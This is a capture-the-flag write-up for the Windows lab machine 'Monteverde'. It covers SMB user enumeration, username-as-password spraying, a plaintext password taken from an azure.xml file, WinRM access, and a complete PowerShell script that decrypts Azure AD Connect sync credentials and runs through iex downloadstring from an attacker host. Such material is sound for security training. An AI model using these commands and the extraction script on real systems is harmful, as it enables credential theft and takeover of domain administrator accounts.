Monteverde

Monteverde is a Medium Windows machine that features Azure AD Connect. The domain is enumerated and a user list is created. Through password spraying, the `SABatchJobs` service account is found to have the username as a password. Using this service account, it is possible to enumerate SMB Shares on the system, and the `$users` share is found to be world-readable. An XML file used for an Azure AD account is found within a user folder and contains a password. Due to password reuse, we can connect to the domain controller as `mhope` using WinRM. Enumeration shows that `Azure AD Connect` is installed. It is possible to extract the credentials for the account that replicates the directory changes to Azure (in this case the default domain administrator).

Content

1 Initial Reconnaissance and Service Mapping

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ sudo nmap -A -sT -T4 -Pn -sV 10.10.10.172
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 21:58 EET
Stats: 0:00:20 elapsed; 0 hosts completed (1 up), 1 undergoing Traceroute
Traceroute Timing: About 32.26% done; ETC: 21:58 (0:00:00 remaining)
Stats: 0:00:21 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.90% done; ETC: 21:58 (0:00:00 remaining)
Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.93% done; ETC: 21:59 (0:00:00 remaining)
Nmap scan report for 10.10.10.172
Host is up (0.050s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-12-23 20:58:38Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: De
fault-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: De
fault-First-Site-Name)
3269/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Port 53: Running DNS could be a vector for DNS-based attacks.

Port 88: Kerberos, a potential target for password cracking or golden/silver ticket attacks.

Port 135: Microsoft RPC, which can be vulnerable to various attacks if misconfigured.

Port 139 and 445: SMB services which might be vulnerable to attacks like EternalBlue or can be used for SMB relay attacks.

Port 389: LDAP service, indicating the presence of an Active Directory environment which could be exploited through various attack vectors. Let’s continue enumeration with cme.

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u '' -p '' --users
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (
domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\:
SMB         10.10.10.172    445    MONTEVERDE       [-] Error enumerating domain users using dc ip 10.10
.10.172: NTLM needs domain\username and a password
SMB         10.10.10.172    445    MONTEVERDE       [*] Trying with SAMRPC protocol
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated domain user(s)
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\Guest                          Built-
in account for guest access to the computer/domain
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\AAD_987d7f2f57d2               Servic
e account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc17
2d9 running on computer MONTEVERDE.
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\mhope
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\SABatchJobs
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\svc-ata
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\svc-bexec
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\svc-netapp
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\dgalanos
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\roleary
SMB         10.10.10.172    445    MONTEVERDE       MEGABANK.LOCAL\smorgan
```

With this information, we have obtained usernames. Now, we can attempt password spraying.

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ crackmapexec smb 10.10.10.172 -d MEGABANK -u users.txt -p passwords.txt
```

Initially, I attempted to use several common passwords, but had no success. Subsequently, I employed a strategy of using the usernames as passwords for the respective accounts

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ crackmapexec smb 10.10.10.172 -d MEGABANK -u users.txt -p users.txt
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (
domain:MEGABANK) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:svc-ata STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:dgalanos STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:roleary STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\mhope:smorgan STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [-] MEGABANK\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK\SABatchJobs:SABatchJobs
```

We achieved a breakthrough! One user had set their password to be the same as their username.

2 Acquisition of Secondary Credentials

Now we have credentials, let's enumerate smb shares:

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ crackmapexec smb 10.10.10.172 -u 'SABatchJobs' -p 'SABatchJobs' --shares
SMB         10.10.10.172    445    MONTEVERDE       [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (
domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.172    445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
SMB         10.10.10.172    445    MONTEVERDE       [+] Enumerated shares
SMB         10.10.10.172    445    MONTEVERDE       Share           Permissions     Remark
SMB         10.10.10.172    445    MONTEVERDE       -----           -----------     ------
SMB         10.10.10.172    445    MONTEVERDE       ADMIN$                          Remote Admin
SMB         10.10.10.172    445    MONTEVERDE       azure_uploads   READ
SMB         10.10.10.172    445    MONTEVERDE       C$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       E$                              Default share
SMB         10.10.10.172    445    MONTEVERDE       IPC$            READ            Remote IPC
SMB         10.10.10.172    445    MONTEVERDE       NETLOGON        READ            Logon server share
SMB         10.10.10.172    445    MONTEVERDE       SYSVOL          READ            Logon server share
SMB         10.10.10.172    445    MONTEVERDE       users$          READ
```

With smbclient, we can check shares. Inside users we see something interesting. Given that other users lacked notable files, the discovery of 'azure.xml' within user mhope's directory was particularly interesting.

```
smb: \mhope\> ls
  .                                   D        0  Fri Jan  3 15:41:18 2020
  ..                                  D        0  Fri Jan  3 15:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 15:40:23 2020

                31999 blocks of size 4096. 28979 blocks available
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (5.8 KiloBytes/sec) (average 5.8 KiloBytes/sec)
```

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ cat azure.xml
♦♦<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>
```

and we got second credentials!

3 User-Level Access and Obtaining the User Flag

We can validate our credentials using CrackMapExec:

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ crackmapexec winrm 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
SMB         10.10.10.172    5985   MONTEVERDE       [*] Windows 10.0 Build 17763 (name:MONTEVERDE) (doma
in:MEGABANK.LOCAL)
HTTP        10.10.10.172    5985   MONTEVERDE       [*] http://10.10.10.172:5985/wsman
WINRM       10.10.10.172    5985   MONTEVERDE       [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
```

We can leverage Evil-WinRM to log in and retrieve the user flag!

```
┌──(kali㉿kali)-[~/htbvip/monteverde]
└─$ evil-winrm  -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function i
s unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-pa
th-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>
```

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> cat user.txt
01e24d467d193a4e5361e5bfb284b178
*Evil-WinRM* PS C:\Users\mhope\Desktop>
```

4 Elevating Privileges to System Administrator

There have been numerous hints about Azure AD throughout the machine, which is an aspect we need to investigate further.

We have observed that we possess Azure Admin privileges:

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> net user mhope
User name                    mhope
Full Name                    Mike Hope
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/2/2020 3:40:05 PM
Password expires             Never
Password changeable          1/3/2020 3:40:05 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory               \\monteverde\users$\mhope
Last logon                   12/23/2023 1:07:07 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Azure Admins         *Domain Users
The command completed successfully.
```

The user 'mhope' has the capability to establish a connection to the local database and extract its configuration. Following this, I will decrypt the obtained configuration to retrieve the username and password of the account responsible for replication. The process is well-documented at https://blog.xpnsec.com/azuread-connect-for-redteam/.

```
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"

$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$key_id = $reader.GetInt32(0)
$instance_id = $reader.GetGuid(1)
$entropy = $reader.GetGuid(2)
$reader.Close()

$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()

add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
$decrypted = $null
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)

$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}

Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
```

Following a straightforward method of delivery through the http.server module, we have successfully obtained new credentials

```
*Evil-WinRM* PS C:\Users\mhope\Desktop> iex(new-object net.webclient).downloadstring('http://10.10.14.9/poc.ps1')
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Desktop>
```

With those credentials, we can obtain an administrative shell and retrieve the 'root.txt' file

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
608d3ad4404fc6d93b2ff834b7b61873
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```